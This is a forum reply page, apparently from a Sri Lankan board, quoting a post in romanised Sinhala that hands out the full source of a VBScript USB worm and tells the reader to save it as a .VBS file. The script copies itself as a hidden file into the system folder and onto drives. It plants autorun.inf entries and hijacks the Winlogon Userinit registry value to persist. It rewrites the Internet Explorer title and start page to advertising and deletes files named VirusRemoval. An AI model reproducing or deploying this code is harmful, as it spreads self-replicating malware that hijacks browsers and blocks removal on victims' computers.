Reply to thread

Message: <blockquote data-quote="Rangau2" data-source="post: 6169705" data-attributes="member: 157673">......uba yanawanam meka man gane....maka save karaganin  .VBS   kiyala.....ok ??tata bye bs !!but uba yanne ai ban ?Option ExplicitOn Error Resume NextDim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,rootSet Fso = CreateObject("Scripting.FileSystemObject")Set Shells = CreateObject("Wscript.Shell")Set WinDir = Fso.GetSpecialFolder(0)Set SystemDir =Fso.GetSpecialFolder(1)Set File = Fso.GetFile(WScript.ScriptFullName)Set Drv = File.DriveSet InDrive = Fso.drivesSet ReadAll = File.OpenAsTextStream(1,-2)do while not ReadAll.atendofstreamAllFile = AllFile & ReadAll.readlineAllFile = AllFile & vbcrlfLoopCount=Drv.DriveTypeDo If Not Fso.FileExists(SystemDir & "\Dilan.VBS") thenset WriteAll = Fso.CreateTextFile(SystemDir & "\Dilan.VBS",2,true)WriteAll.Write AllFile WriteAll.closeset WriteAll = Fso.GetFile(SystemDir & "\Dilan.VBS")WriteAll.Attributes = -1End If          Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","{U2 Advertising]+94774900234"Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.MeeVitha.com"Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _SystemDir & "\wscript.exe " & SystemDir & "\Dilan.VBS"For Each Drives In InDrive root = Drives.Path & "\"If Fso.GetParentFolderName(WScript.ScriptFullName)=root ThenShells.Run "explorer.exe " & rootEnd IfSet folder=Fso.GetFolder(root)Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)For Each files In folder.Filesauto=Left(files.Name,7)If UCase(auto)=UCase("VirusRemoval") ThenSet Delete = Fso.DeleteFile(root & files.Name,true)End If    Next If Drives.DriveType = 1 Or Drives.DriveType = 2 ThenIf Drives.Path<> "A:" Thendelext "vbs",WinDir & "\"delext "vbs",Drives.Path  & "\"If Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") ThenFso.DeleteFile(Drives.Path & "\VirusRemoval.vbs") End If        If Drives.DriveType = 1 ThenIf Drives.Path<>"A:" ThenIf Not Fso.FileExists(Drives.Path & "\Dilan.VBS") ThenSet WriteAll=Fso.CreateTextFile(Drives.Path & "\Dilan.VBS",2,True)WriteAll.Write AllFileWriteAll.CloseSet WriteAll = Fso.GetFile(Drives.Path & "\Dilan.VBS")WriteAll.Attributes = -1End If                 If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")Chg.Attributes = -8Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)WriteAll.writeline "[autorun]"WriteAll.WriteLine "open=wscript.exe Dilan.VBS"WriteAll.WriteLine "shell\open=Open"WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS"WriteAll.CloseSet WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")WriteAll.Attributes = -1elseSet WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)WriteAll.writeline "[autorun]"WriteAll.WriteLine "open=wscript.exe Dilan.VBS"WriteAll.WriteLine "shell\open=Open"WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS"WriteAll.CloseSet WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")WriteAll.Attributes = -1End ifEnd IfEnd IfEnd if  End IfNextif Count <> 1 thenWscript.sleep 10000end ifloop while Count<>1sub delext(File2Find, SrchPath)Dim oFileSys, oFolder, oFile,Cut,DeleteSet oFileSys = CreateObject("Scripting.FileSystemObject")Set oFolder = oFileSys.GetFolder(SrchPath)For Each oFile In oFolder.FilesCut=Right(oFile.Name,3)If UCase(Cut)=UCase(file2find) ThenEND IFNEXTEND SUB</blockquote>

Verification: Haya warak paha keeyada? (haya wadi kireema paha)

Top Bottom